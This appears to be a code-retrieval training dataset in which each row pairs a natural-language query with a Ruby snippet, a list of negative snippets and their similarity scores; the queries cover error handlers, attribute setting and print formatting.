By default, have the error handler reraise the error, so using the plugin without installing an error handler doesn't change behavior. | def handle_error(e)
raise e
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def on_error error\n raise error\n end",
"def error_handler()\n @error_handler\n end",
"def load_plugin_failed(name, exception); end",
"def handle_perform_error(_e); end",
"def error_handler\n @error_handler || DEFAULT_ERROR_HANDLER\n end",
"def safe_run\n run\n rescue Ohai::Exceptions::Error => e\n @failed = true\n raise e\n rescue => e\n @failed = true\n logger.trace(\"Plugin #{name} threw #{e.inspect}\")\n e.backtrace.each { |line| logger.trace( line ) }\n end",
"def with_error_handler( handler )\n\t\toriginal_handler = self.errhandler\n\t\traise ArgumentError, \"%p doesn't respond_to #call\" unless handler.respond_to?( :call )\n\t\t@errhandler = handler\n\n\t\tyield\n\n\tensure\n\t\t@errhandler = original_handler\n\tend",
"def original_error; end",
"def original_error; end",
"def on_error(err)\n raise err\n end",
"def error_handler(exception)\n puts exception\n end",
"def validate!\n errors = validate\n\n if errors.any?\n ErrorHandler.wrap PluginSyntaxError,\n backtrace: [],\n plugin_name: try(:name),\n plugin_version: try(:version),\n text: messages_from_errors(errors)\n end\n\n self\n end",
"def error(exception) nil ; end",
"def errorhandling\n end",
"def handle_generic_error(exception)\n end",
"def handle_error(e, name, args, job)\n if error_handler = Backburner.configuration.on_error\n if error_handler.arity == 1\n error_handler.call(e)\n elsif error_handler.arity == 3\n error_handler.call(e, name, args)\n else\n error_handler.call(e, name, args, job)\n end\n end\n end",
"def fallback(error, package, *args, &block)\n puts \"Error Code #{error.status}\" if error.respond_to?(:status)\n Importer.fallback_handlers.each do |handler|\n fallback_importer = handler.call(package, self)\n if fallback_importer.kind_of?(Importer)\n begin\n return fallback_importer.send(*args, &block)\n rescue Exception\n # raise error\n end\n end\n end\n raise error\n end",
"def error?; end",
"def error?; end",
"def error?; end",
"def exception_handler; end",
"def error(*args); end",
"def error(*args, &block)\n add_with_options(ERROR, *args, &block)\n end",
"def on_error(exception)\n raise exception\n end",
"def on_error(&block)\n @error_handler = block\n end",
"def on_error(&blk)\n @error_handler = blk\n self\n end",
"def errback &block\n super\n end",
"def errback &block\n super\n end",
"def recover_from(_error); end",
"def catch_exceptions; end",
"def error_notification(options = T.unsafe(nil)); end",
"def error!\n throw NotImplementedError\n end",
"def error\n end",
"def onerror(&blk); super; end",
"def error; end",
"def error; end",
"def error; end",
"def error; end",
"def error; end",
"def error; end",
"def error; end",
"def with_error_handling\n yield\n rescue => error\n report_error(error)\n Process.exit(false)\n end",
"def error_handler()\n return @error_handler unless @error_handler.nil?\n @flow.error_handler()\n end",
"def on_error\n @on_error || DEFAULT_ON_ERROR\n end",
"def error!\n self.severity = :ERROR\n end",
"def error(*args)\n `#{@native}.error.apply(#{@native}, args)`\n end",
"def fatal; end",
"def default_error_handler( state, node, exception )\n\t\tcase self.options[:on_render_error].to_s\n\t\twhen 'ignore'\n\t\t\tself.log.debug \" not rendering anything for the error\"\n\t\t\treturn ''\n\n\t\twhen 'comment'\n\t\t\tself.log.debug \" rendering error as a comment\"\n\t\t\tmsg = \"%s: %s\" % [ exception.class.name, exception.message ]\n\t\t\tif self.options[:debugging_comments]\n\t\t\t\texception.backtrace.each {|line| msg << \"\\n\" << line }\n\t\t\tend\n\t\t\treturn self.make_comment( msg )\n\n\t\twhen 'propagate'\n\t\t\tself.log.debug \" propagating error while rendering\"\n\t\t\traise( exception )\n\n\t\telse\n\t\t\traise Inversion::OptionsError,\n\t\t\t\t\"unknown exception-handling mode: %p\" % [ self.options[:on_render_error] ]\n\t\tend\n\tend",
"def error(*args, &block)\n logger_instance.error(args, &block)\n end",
"def error_mode; end",
"def error_hander\n @error_block\n end",
"def error(description, result)\n raise \"Implement this in a sub-class\"\n end",
"def wrap_tag_with_error(tag)\n wrap(:error_handler, tag)\n end",
"def error(handler)\n puts '! Error occurred' if handler.bot.debug\n end",
"def reraise\n raise $!.class, $!.message, caller[1..-1]\nend",
"def wrapped_exception; end",
"def abort_on_exception=(*) end",
"def rescue_action(e); raise e; end",
"def error_handler()\n return @error_handler unless @error_handler.nil?\n eh = find_task(:error)\n return eh unless eh.nil?\n @env.error_handler\n end",
"def error_handling\n @@error_handling ||= nil\n end",
"def fatal?; end",
"def fatal?; end",
"def error! error\n # We shouldn't need to synchronize getting the callbacks.\n error_callbacks = @error_callbacks\n error_callbacks = default_error_callbacks if error_callbacks.empty?\n error_callbacks.each { |error_callback| error_callback.call error }\n end",
"def error\n\t\traise StandardError\n\tend",
"def handle_error(error)\n @on_error.call(error) if @on_error\n @report.errors << error\n end",
"def on_error(&callback)\n @err_cb, @err_cb_overridden = callback, true\n end",
"def error\n\t\t\traise 'Test'\n\t\tend",
"def on_error(&block)\n block_given? ? @_on_error = block : @_on_error\n end",
"def on_error(&block)\n block_given? ? @_on_error = block : @_on_error\n end",
"def on_error(&block)\n block_given? ? @_on_error = block : @_on_error\n end",
"def on_error(msg)\n end",
"def intercept_parse_error\n yield\nrescue Enolib::ParseError => e\n e\nend",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def register_plugin(plugin)\n plugin.register\n plugin\n rescue => e\n @logger.error(\"Error registering plugin\", :plugin => plugin.inspect, :error => e.message)\n raise e\n end",
"def abort_on_exception(*) end",
"def on_error(&block)\n @on_error = block\n end",
"def fail\n # no-op\n end",
"def config_error(path, error); end",
"def handle_errors options = {}, &block\n begin\n yield\n rescue Exception => e\n name = caller[1][/`.*'/][1..-2]\n defaults = {puts: \"#{name} failed. See backtrace:\", and_return: nil, call: nil}\n opts = defaults.merge options\n if @logger\n @logger.message :error, \"#{opts[:puts]}\"\n else\n puts \"#{opts[:puts]}\".on_red\n end\n unless opts[:quite]\n p e\n puts e.backtrace\n end\n opts[:call].call if opts[:call].kind_of? Proc\n opts[:and_return]\n end\nend",
"def error\n nil\n end",
"def error\n end",
"def on_error(error); @parent.on_error(@env, error); end",
"def on_failure(object, *args); end",
"def fallback_error_handler(exception)\n __debug_exception('RESCUE_FROM', exception, trace: true)\n self.status = :internal_server_error\n if rendering_html?\n flash_now_alert(exception)\n render\n elsif posting_html?\n redirect_back(fallback_location: root_path, alert: exception.message)\n end\n rescue => error\n error_handler_deep_fallback(__method__, error)\n end",
"def handle_error(error_messages, options = {})\n options.merge! :error_messages => error_messages\n handle_exception(nil, options)\n end",
"def handle_error(message:)\n raise ::Kitchen::Pulumi::Error, message if config_fail_fast\n\n logger.error message\n error_messages.push message\n end",
"def on_error(&block)\n @@error_block = block\n end",
"def error(progname = T.unsafe(nil), &block); end",
"def error=(_arg0); end",
"def error=(_arg0); end",
"def error=(_arg0); end",
"def handle_exception(&block)\r\n yield\r\n\r\n rescue TypeError\r\n return Parsers::Message.invalid_type\r\n rescue Exception\r\n return Parsers::Message.unexpected_error\r\n end",
"def script_error(path, error); end",
"def notify_error(error)\n end",
"def fail(*args)\n super(*args)\n end",
"def error(*args)\n log(*args)\n fail\n end",
"def handle_errors(interactor)\n interactor.call\n rescue Errors::Base => e\n context.fail!(resource: e, status: e.status)\n end"
] | [
"0.63501745",
"0.63232166",
"0.6296712",
"0.6173001",
"0.6118793",
"0.61060685",
"0.60580313",
"0.60235834",
"0.60235834",
"0.5972303",
"0.59628636",
"0.5955065",
"0.5936267",
"0.59330046",
"0.58835405",
"0.5874568",
"0.58693206",
"0.5846903",
"0.5846903",
"0.5846903",
"0.58465",
"0.5842513",
"0.5827997",
"0.5824162",
"0.58077437",
"0.57889503",
"0.57856727",
"0.57856727",
"0.5784177",
"0.5784098",
"0.5764395",
"0.57635796",
"0.5752244",
"0.57455575",
"0.574333",
"0.574333",
"0.574333",
"0.574333",
"0.574333",
"0.574333",
"0.574333",
"0.5645448",
"0.5635191",
"0.5625857",
"0.56043637",
"0.5598688",
"0.55708975",
"0.5557649",
"0.55574995",
"0.5552675",
"0.5550948",
"0.55389076",
"0.55371916",
"0.5533866",
"0.5530011",
"0.552118",
"0.5517803",
"0.55145925",
"0.55047613",
"0.5500554",
"0.54991615",
"0.54991615",
"0.5496359",
"0.5488697",
"0.5486801",
"0.5483969",
"0.5483239",
"0.54714715",
"0.54714715",
"0.54714715",
"0.5465524",
"0.5447337",
"0.544655",
"0.544655",
"0.544655",
"0.544655",
"0.5441545",
"0.54330444",
"0.5426388",
"0.54263073",
"0.5406628",
"0.54015344",
"0.538446",
"0.53799444",
"0.53761476",
"0.5374832",
"0.5363202",
"0.5355466",
"0.53517383",
"0.534835",
"0.5340616",
"0.53344434",
"0.53344434",
"0.53344434",
"0.53343236",
"0.531864",
"0.53077024",
"0.5306452",
"0.53021747",
"0.52937996"
] | 0.57939947 | 25 |
Sets all of the required and the optional attributes. | def initialize(options = {})
@id = options[:id]
@x_origin = options[:x_origin]
@y_origin = options[:y_origin]
set_options(options)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_required(*attr_names)\n @required_attrs ||= []\n @required_attrs += attr_names\n attr_accessor(*attr_names)\n end",
"def set_attributes\n self.paid = is_paid?\n self.amount = amount_to_set if amount_to_set\n self.status = capture_status if capture_status\n self.currency = currency_to_set\n end",
"def has_required_attrs(*attrs)\n self.class_variable_set('@@required_attrs', attrs)\n end",
"def validate_required_attributes\n required = %i[currency_code direction epic force_open guaranteed_stop order_type size\n time_in_force]\n\n required.each do |attribute|\n raise ArgumentError, \"#{attribute} attribute must be set\" if attributes[attribute].nil?\n end\n end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def set_default_attributes\n self.attributes = default_attributes\n self.attributes.each do |key, value|\n # Scrub the attributes if there's no value\n attr_clean!(key) unless value\n end\n end",
"def set_default_attrs\n self.state = 'Texas' if self.respond_to? :state\n self.origin = 'hunted' if self.respond_to? :origin\n self.gender = 'male' if self.respond_to? :gender\n if self.respond_to? :parts\n parts = Part::NAMES.map { |part_name| {name: part_name} }\n parts << { other: true }\n self.parts = parts\n end\n if self.respond_to? :taxidermy_parts\n taxidermy_parts = self.class::DEFAULT_TAXIDERMY_PARTS.map { |part_name| {name: part_name} }\n taxidermy_parts << { other: true }\n self.taxidermy_parts = taxidermy_parts\n end\n self\n end",
"def attributes=(params)\n end",
"def requires(*attrs)\n set_requirements(attrs)\n end",
"def set_attrs\n @rrules ||= []\n @exrules ||= []\n @rdates ||= []\n @exdates ||= []\n end",
"def check_required_attributes\n attributes = DSL.attributes.values.select(&:required?)\n attributes.each do |attr|\n value = spec.send(attr.name)\n unless value && (!value.respond_to?(:empty?) || !value.empty?)\n if attr.name == :license\n results.add_warning('attributes', 'Missing required attribute ' \\\n \"`#{attr.name}`.\")\n else\n results.add_error('attributes', 'Missing required attribute ' \\\n \"`#{attr.name}`.\")\n end\n end\n end\n end",
"def required_attributes\n self.class::REQUIRED_ATTRIBUTES\n end",
"def required_attributes!(keys)\n keys.each do |key|\n bad_request!(key) unless params[key].present?\n end\n end",
"def required_attributes!(keys)\n keys.each do |key|\n bad_request!(key) unless params[key].present?\n end\n end",
"def requires(*values)\n @optional_params.concat(values)\n @required_params = values\n end",
"def optional_attributes\n fail NotImplementedError 'Please define #optional_attributes as a list of the '\\\n 'attributes on this resource that may not be present and thus should return nil' \\\n 'instead of raising a NoMethodError.'\n end",
"def attributes=(*args)\n define_dynamic_answer_setters!\n super(*args)\n end",
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def setup_attributes\n setup_location_header\n # TODO: Should setup_content_length_header?\n setup_status_and_body\n end",
"def assert_required_properties_set!; end",
"def update_required?(old_attrs, new_attrs)\n false\n end",
"def initialize(**opts)\n super()\n self.class.attr_required.each do |attr|\n if !opts.key?(attr)\n raise ArgumentError, \"Missing required parameter `#{attr}`\"\n end\n data[attr.to_sym] = opts[attr].dup\n end\n self.class.attr_optional.each do |attr|\n if opts.key?(attr)\n data[attr.to_sym] = opts[attr].dup\n end\n end\n extras = opts.keys - (self.class.attr_required + self.class.attr_optional)\n if !extras.empty?\n raise ArgumentError, \"Unknown parameters provided: #{extras.join(\",\")}\"\n end\n freezer(@data)\n end",
"def tributes *attrs\n if attrs.empty? \n @tributes ||= []\n else \n @tributes = attrs\n super *attrs\n end \n end",
"def set_attributes\n attributes :all\n end",
"def initialize(**opts)\n opts.select { |option, _| self.class.requirements.include?(option) }.each do |accessor, value|\n instance_variable_set(\"@#{accessor}\", value)\n opts.delete(accessor)\n end\n set_optional_data(opts)\n end",
"def initialize(options = {})\n # check that options include all required values\n self.required_attributes.each do |req_attr|\n if not options.keys.include? req_attr\n raise ArgumentError.new(\"#{req_attr} is required for initialization\")\n end\n end\n # attempt to store all given values\n @stored_values = {}\n options.each do |attr_name, attr_value|\n # we are simply invoking the assignment operator on\n # self.attr_name even thought it looks a little convoluted\n self.method(\"#{attr_name}=\").call(attr_value)\n end\n end",
"def required_fields=(arr) # :nodoc:\n @required_fields = transform_fields('required_fields',arr)\n end",
"def required_attributes\n self.class.required_attributes\n end",
"def setAttributes _obj, _args\n \"_obj setAttributes _args;\" \n end",
"def init_optional_attributes\n self.doi ||= record.doi if record.doi.present?\n self.pmid ||= record.pmid if record.pmid.present?\n end",
"def init_super_attrs(args={}, inst)\n\t\t\t\targs_keys = args.keys\n\n\t\t\t\tif @@required_attrs.any?\n\t\t\t\t\t# Checks if args_keys has all attr in the \n\t\t\t\t\t# @@required_attrs. If args is empty, it will\n\t\t\t\t\t# raise an StandardError\n\t\t\t\t\tif args_keys.any?\n\t\t\t\t\t\tnot_set_attrs = []\n\t\t\t\t\t\t@@required_attrs.each do |req|\n\t\t\t\t\t\t\tnot_set_attrs << req unless args_keys.include?(req)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\traise StandardError.new(\"Required attributes: #{not_set_attrs.join(\", \")}\") if not_set_attrs.any?\n\t\t\t\t\telse\n\t\t\t\t\t\traise StandardError.new(\"Required attributes: #{@@required_attrs.join(\", \")}\")\n\t\t\t\t\tend\n\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Inits the arguments passed via the\n\t\t\t\t# initilize method.\n\t\t\t\targs_keys.each {|key| self.instance_method(\"#{key}=\").bind(inst).call(args[key]) }\n\t\t\tend",
"def set_attributes(attrs = {})\n attrs.each do |key, value|\n set_attribute(key, value)\n end\n end",
"def required_options\n valid_options - [:label, :reader_options, :ingester_options]\n end",
"def update_attributes(attrs)\n super({})\n end",
"def attributes=(attrs, initial_setup = false)\n @attributes = {}\n\n attrs = wrap_values(attrs)\n\n if attrs\n # Assign id first\n id = attrs.delete(:_id)\n\n # When doing a mass-assign, we don't save until the end.\n Model.nosave do\n self._id = id if id\n\n # Assign each attribute using setters\n attrs.each_pair do |key, value|\n if self.respond_to?(:\"#{key}=\")\n # If a method without an underscore is defined, call that.\n send(:\"#{key}=\", value)\n else\n # Otherwise, use the _ version\n send(:\"_#{key}=\", value)\n end\n end\n end\n else\n @attributes = attrs\n end\n\n # Trigger and change all\n @deps.changed_all!\n @deps = HashDependency.new\n\n unless initial_setup\n\n # Let the persistor know something changed\n if @persistor\n # the changed method on a persistor should return a promise that will\n # be resolved when the save is complete, or fail with a hash of errors.\n return @persistor.changed\n end\n end\n end",
"def required_args\n doodle.attributes.select{ |k, v| v.required?}.map{ |k,v| v}\n end",
"def guard_required!\n required.each do |key|\n raise ArgumentError, \"Missing required attribute #{key}\" if self[key].nil?\n end\n end",
"def required\n @optional = false\n end",
"def initialize_attributes(attributes); end",
"def assign_attributes( args = {} )\n args.each do |attr, value|\n send(\"#{attr}=\", value)\n end unless args.blank?\n end",
"def optional_attributes\n [:student_number, :state_id, :location, :gender, :dob, :grade, :frl_status,\n :race, :hispanic_ethnicity, :email, :credentials]\n end",
"def required\n { must_exclude_attrs: %i[] }\n end",
"def initialize_attributes()\n @attributes ||= {}\n merged_attributes = {}\n defaults = self.class.schema.defaults(self)\n\n # Merge the defaults in where attributes don't have a value defined.\n defaults.each do |name, value|\n merged_attributes[name] = attributes[name] || value\n end\n @attributes = merged_attributes\n end",
"def attributes= new_attributes\n ingest_attributes(new_attributes)\n end",
"def set_attributes(attrs)\n @attributes = attrs.dup\n true\n end",
"def set_attributes(attrs)\n @attributes = attrs.to_smash\n true\n end",
"def preinitialize(attrs = nil)\n @attributes = {}\n end",
"def attributes=(attributes)\r\n attributes.symbolize_keys!\r\n roles = attributes.delete :roles\r\n memberships = attributes.delete :memberships\r\n returning super do \r\n update_roles roles if roles \r\n update_memberships memberships if memberships\r\n end\r\n end",
"def attributes=(attributes)\n \n attributes.symbolize_keys! \n\n super(attributes)\n\n if attributes.has_key?(:content_type) and not attributes.has_key?(:publishing_workflow_id)\n check_content_type!\n check_publishing_workflow!\n end\n\n end",
"def validate_required_values\n # Make sure all MUST attributes have a value\n @object_classes.each do |object_class|\n object_class.must.each do |required_attribute|\n # Normalize to ensure we catch schema problems\n # needed?\n real_name = to_real_attribute_name(required_attribute.name, true)\n raise UnknownAttribute.new(required_attribute) if real_name.nil?\n # # Set default if it wasn't yet set.\n # @data[real_name] ||= [] # need?\n value = @data[real_name] || []\n # Check for missing requirements.\n if value.empty?\n _schema = schema\n aliases = required_attribute.aliases.collect do |name|\n self.class.human_attribute_name(name)\n end\n args = [self.class.human_object_class_name(object_class)]\n if ActiveLdap.const_defined?(:GetTextFallback)\n if aliases.empty?\n format = \"is required attribute by objectClass '%s'\"\n else\n format = \"is required attribute by objectClass '%s'\" \\\n \": aliases: %s\"\n args << aliases.join(', ')\n end\n else\n if aliases.empty?\n format = _(\"%{fn} is required attribute by objectClass '%s'\")\n else\n format = _(\"%{fn} is required attribute by objectClass \" \\\n \"'%s': aliases: %s\")\n args << aliases.join(', ')\n end\n end\n errors.add(real_name, format % args)\n end\n end\n end\n end",
"def set_defaults\n if self.has_attribute?(:extra_cost)\n self.extra_cost ||= 0.0\n end\n if self.has_attribute?(:stock)\n self.stock ||= 0.0\n end\n end",
"def optional(*fields)\n self._optional_fields = fields\n end",
"def request_attributes *list_of_attributes\n assert_needed_attributes *list_of_attributes\n logger.info \"Requesting attributes #{needed_attributes} of #{self} ##{id}\"\n request_dependencies # Launch all objects that we depend on\n bkg_launch attrib_needed?\n end",
"def define_attributes\n @attributes = {}\n @attribute_map = {}\n yield # to the user defined block for further instruction\n @keys = @attributes.keys.freeze\n @attribute_map.freeze\n @attributes.freeze\n end",
"def set_parameters(hash)\n # Use the order provided by allattrs, but add in any\n # extra attributes from the resource so we get failures\n # on invalid attributes.\n no_values = []\n (self.class.allattrs + hash.keys).uniq.each do |attr|\n begin\n # Set any defaults immediately. This is mostly done so\n # that the default provider is available for any other\n # property validation.\n if hash.has_key?(attr)\n self[attr] = hash[attr]\n else\n no_values << attr\n end\n rescue ArgumentError, Puppet::Error, TypeError\n raise\n rescue => detail\n error = Puppet::DevError.new( \"Could not set #{attr} on #{self.class.name}: #{detail}\")\n error.set_backtrace(detail.backtrace)\n raise error\n end\n end\n no_values.each do |attr|\n set_default(attr)\n end\n end",
"def protected_attributes=(attributes = nil)\n attributes = attributes.is_a?(Hash) ? attributes.symbolize_keys : {}\n send :attributes=, attributes.only(:author, :email, :summary, :content, :attachment), false\n end",
"def attributes=(params)\n params.each do |attr, value|\n public_send(\"#{attr}=\", value)\n end\n self\n end",
"def setup_object_attributes; end",
"def update_attributes(attrs)\n difference = attrs.keys - ASSIGNABLE\n if difference.empty?\n attributes.merge!(attrs)\n else\n raise \"unexpected attributes #{difference} for #{@node.path}\"\n end\n end",
"def cas_extra_attributes=(extra_attributes)\n extra_attributes.each do |name, value|\n puts \"DEBUG: cas_extra_attributes CALLED\"\n puts \"extra_attributes:\"+ name.to_s+\" => \"+ value.to_s\n case name.to_sym\n when :fullname\n self.fullname = value\n when :email\n self.email = value\n end\n end\n end",
"def nested_attributes_set_attributes(meta, obj, attributes)\n if fields = meta[:fields]\n fields = fields.call(obj) if fields.respond_to?(:call)\n obj.set_fields(attributes, fields, :missing=>:skip)\n else\n obj.set(attributes)\n end\n end",
"def initialize(atts = nil)\n initialize_attributes\n self.update_attributes(atts || {})\n end",
"def attributes=(params)\n params.each_pair do |k, v|\n setter = \"#{k}=\".to_sym\n public_send(setter, v)\n end\n end",
"def initialize(*attrs)\n set_attributes(attrs.extract_options!)\n end",
"def assign_attributes(attr)\n attr = normalize_attributes(attr)\n opt = attr.delete(:attr_opt) || {}\n set_model_options(opt)\n super(attr)\n rescue => err # TODO: testing - remove?\n Log.warn { \"#{record_name}.#{__method__}: #{err.class}: #{err.message}\" }\n raise err\n end",
"def initialize attributes = {}\n @attributes = {}\n attributes.each { |attribute, value| set attribute, value }\n end",
"def required=(value)\n @required = value\n end",
"def attributes\n @attributes ||= begin\n attrs = {}\n self.class.key_attrs.values.each { |a| attrs[a.name] = a.initial_value }\n self.class.other_attrs.values.each { |a| attrs[a.name] = a.initial_value }\n attrs\n end\n end",
"def assign_attributes\n @data.each do |attribute, value|\n self.class.send(:attr_accessor, attribute)\n set(attribute, value)\n end\n end",
"def required_attributes\n %w[\n amount\n transactionReference\n orderId\n responseCode\n ]\n end",
"def initialize(opts)\n opts[:required] ||= false\n @name = opts.delete(:name) if opts.has_key?(:name)\n @obj_type = opts.delete(:type) if opts.has_key?(:type)\n @required = opts.has_key?(:required) ? opts[:required] : true\n @opts = opts\n @attributes = []\n end",
"def initialize(attributes)\n\t\t\tsuper\n\n\t\t\t# The wrapper to the API does not judge original values, so I initialize them here\n\t\t\t@max_weight ||= 100000000000\n\t\t\t@min_weight ||= 0\n\t\t\t@max_depth ||= 100000000000\n\t\t\t@min_depth \t||= 0\n\t\t\t@max_height ||= 100000000000\n\t\t\t@min_height ||= 0\n\t\t\t@max_width \t||= 100000000000\n\t\t\t@min_width \t||= 0\n\t\t\t@max_value \t||= 100000000000\n\t\t\t@min_value \t||= 0\n\n\t\tend",
"def attributes(*args)\n attr_accessor(*args)\n end",
"def set_defaults\n #self.required_by_manufacturer ||= true\n end",
"def fill_required_fields(record) \n record.class.validators.select { |v| v.is_a? ActiveModel::Validations::PresenceValidator }.each do |validator|\n validator.attributes.each do |attribute|\n fill_field(record, attribute)\n end\n end\n end",
"def required_properties; end",
"def assign_attributes(**attributes)\n end",
"def settled_attributes\n instance_vars = self.instance_variables.map do |attr|\n attr.to_s[1..-1].to_sym\n end\n\n instance_vars & attributes\n end",
"def update_attributes( hash={} )\n set_attributes hash\n valid_without_errors? and save\n end",
"def set_all\n if !@all_set\n @all_set = true\n set_bldg_and_system_type_for_building_and_section\n set_building_form_defaults\n set_width_and_length\n end\n end",
"def initialize(*args)\n set(*args)\n @freeform = false\n end",
"def define_attributes(*args)\n options = args.extract_options!\n options[:access_level] ||= :public\n # Initialize each attribute\n args.each do |arg|\n self.initialize_attribute(\n Array.wrap(arg),\n options[:access_level]\n )\n end\n\n self.define_attribute_methods(\n args,\n options[:access_level]\n )\n end",
"def initialize_attrs\n attrs[:initial] and initial(attrs[:initial])\n attrs[:target] and target(attrs[:target])\n attrs[:terminal] and terminal(attrs[:terminal])\n log_transitions(attrs.fetch(:log_transitions, false))\n end",
"def assign_attributes(**attributes)\n attributes.each do |attribute, value|\n send(\"#{attribute}=\", value)\n end\n end",
"def set_mandatory( mandatory )\n if Option.mandatory_ok?( mandatory )\n @mandatory = mandatory\n else\n raise \"invalid mandatory value: #{ mandatory.to_s }\"\n end\n end",
"def set_attributes\n # (needed) set title\n if @data['title'] then\n @title = @data['title']\n else\n raise \"This post (#{@id}) miss a title\"\n end\n # (needed) set author\n if @data['author'] then\n @author_name = @data['author']\n elsif @infos[:author_name]\n @author_name = @infos[:author_name]\n else\n @author_name = 'unknown'\n end\n if @data['email'] then\n @author_email = @data['email']\n else\n @author_email = @infos[:author_email]\n end\n # (needed) set published, if found nowhere, use filename date\n if @data['published'] then\n @published = Time.at(@data['published'])\n elsif @infos[:published]\n @published = @infos[:published]\n else\n @published = Time.mktime(@year, @month, @day)\n end\n # (optional) set last modification date\n @last_modified = @infos[:last_modified] if @infos[:last_modified]\n # (optional) set last modification author name\n @last_author_name = @infos[:last_author_name] if @infos[:last_author_name]\n # (optional) set last modification author email\n @last_author_email = @infos[:last_author_email] if @infos[:last_author_email]\n end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def set_derived_fields\n self.type = weams_type\n self.va_highest_degree_offered = highest_degree_offered\n\n self.flight = flight?\n self.correspondence = correspondence?\n self.approved = approved?\n\n true\n end",
"def allowed_attributes(n, required: [], disjoint: [], optional: [])\n required.each do |attribute|\n assert_in attribute, n.attributes.keys, 'required attribute name', n\n end\n\n assert disjoint.empty? || disjoint.one?{ |attribute| n.attributes.keys.include?(attribute) }, \"expected one of #{disjoint.join(', ')}\", n\n\n unexpected = n.attributes.keys - required - disjoint - optional\n assert unexpected.empty?, \"unexpected attributes #{unexpected}\", n\n end",
"def assign_tag_attrs(attributes)\n # support default data, class, and aria attribute names\n data_attr(attributes.delete(:data)) if attributes[:data]\n aria_attr(attributes.delete(:aria)) if attributes[:aria]\n add_class(*attributes.delete(:class)) if attributes[:class]\n root_attr(attributes.delete(:splat)) if attributes[:splat]\n end",
"def validate(check_required_attributes = true)\n @processor = AttributeProcessor.new(to_hash)\n @processor.process\n\n # object identity is always required, even for patches\n missing_errors = {}\n missing_errors[identity.to_sym] = 'is missing' if self.class.method_defined?(identity) && blank?(send(identity))\n\n if check_required_attributes\n missing_attrs = required_attributes.select { |at| blank?(send(at)) }\n\n missing_attrs.each do |at|\n missing_errors[at] = 'is missing'\n end\n end\n\n @processor.errors.merge(missing_errors)\n end",
"def attributes=(_arg0); end",
"def attributes=(attributes)\n return if attributes.nil?\n\n multi_parameter_attributes = []\n remove_attributes_protected_from_mass_assignment(attributes).each do |k, v| \n k.include?(\"(\") ? multi_parameter_attributes << [ k, v ] : send(k + \"=\", v)\n end\n assign_multiparameter_attributes(multi_parameter_attributes)\n end",
"def define_attributes\n @info.attributes.each do |attr|\n rname = underscore(attr.name)\n self.class.__send__(:define_method, rname) { self[attr.name] } if attr.readable?\n self.class.__send__(:define_method, rname + \"=\") {|v| self[attr.name] = v } if attr.writable?\n end\n end",
"def init_attributes(attributes)\n self.attributes = attributes.symbolize_keys\n end",
"def assign!(attributes)\n attributes.each { |name, value| self[name] = value }\n rescue NoMethodError => e\n raise Ciesta::FieldNotDefined, \"Field #{e.name} is not specified\"\n end",
"def assign_attributes(new_attributes, options = {})\n attributes = new_attributes.symbolize_keys\n attributes.each do |k, v|\n if has_attribute?(k)\n assign_attribute(k, v) unless options[:skip_nil_values] && v.nil?\n elsif options[:validate_attribute_presence]\n raise(StoreError, \"unknown attribute: '#{k}'\")\n else\n Prime.logger.info(\"unknown attribute: #{k}\")\n end\n end\n end",
"def update_attributes(params = {})\n super validate_attributes(params)\n end",
"def set_default_values\n if self.price.nil?\n self.price = 0.0\n end\n if self.rating.nil?\n self.rating = 0\n end\n if self.enabled.nil?\n self.enabled = false\n end\n if self.no_of_reviews.nil?\n self.no_of_reviews = 0\n end\n if self.no_of_registrations.nil?\n self.no_of_registrations = 0\n end\n end",
"def required_attributes\n self.class._module.required_fields\n end"
] | [
"0.66818255",
"0.66603273",
"0.6531071",
"0.63768125",
"0.63477355",
"0.63477355",
"0.6323797",
"0.63057363",
"0.62776846",
"0.6205068",
"0.6172358",
"0.6123336",
"0.61230844",
"0.609781",
"0.609781",
"0.6092469",
"0.60563517",
"0.60498506",
"0.6005111",
"0.6002007",
"0.5978811",
"0.59735286",
"0.5946603",
"0.59391195",
"0.59353983",
"0.5912081",
"0.5907305",
"0.59063107",
"0.5899111",
"0.58982414",
"0.5885678",
"0.5881251",
"0.58777523",
"0.5875882",
"0.58707875",
"0.5845776",
"0.5842208",
"0.583745",
"0.58290136",
"0.5823173",
"0.5815361",
"0.5801041",
"0.57971317",
"0.577628",
"0.5773659",
"0.5766604",
"0.5754688",
"0.57333827",
"0.5730287",
"0.57228696",
"0.5698666",
"0.56986034",
"0.56981766",
"0.56837285",
"0.56674",
"0.56658775",
"0.5657709",
"0.56520003",
"0.56440485",
"0.56268084",
"0.562511",
"0.56162447",
"0.5611904",
"0.5608259",
"0.56058794",
"0.5604372",
"0.560236",
"0.5598148",
"0.5597875",
"0.55966187",
"0.5590153",
"0.5584694",
"0.5568789",
"0.55671376",
"0.5561551",
"0.55566686",
"0.5548816",
"0.55430603",
"0.55394036",
"0.5531552",
"0.55293816",
"0.5527823",
"0.55224574",
"0.5514764",
"0.5510911",
"0.5505815",
"0.5500989",
"0.5498007",
"0.5495369",
"0.5487965",
"0.54856116",
"0.54783106",
"0.5465634",
"0.54627144",
"0.5462578",
"0.5457807",
"0.5456497",
"0.54548126",
"0.54527104",
"0.54484254",
"0.54470783"
] | 0.0 | -1 |
Formats the output ready for a print job. This does not include escape characters. Example: PF001;ABCDE1234 | def formatted(separator = ';')
"#{prefix}#{id}#{separator}#{control_codes}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def display\n puts \" 0 1 2 3 4 5 6 7 \"\n puts \"#{format}\"\n end",
"def print output_formatter\n output_formatter.print({ \"Commits:\" => @commits, \"Standard churn:\" => @result, \"Deletions:\" => @deletions, \"Insertions:\" => @insertions })\n end",
"def format(text); end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
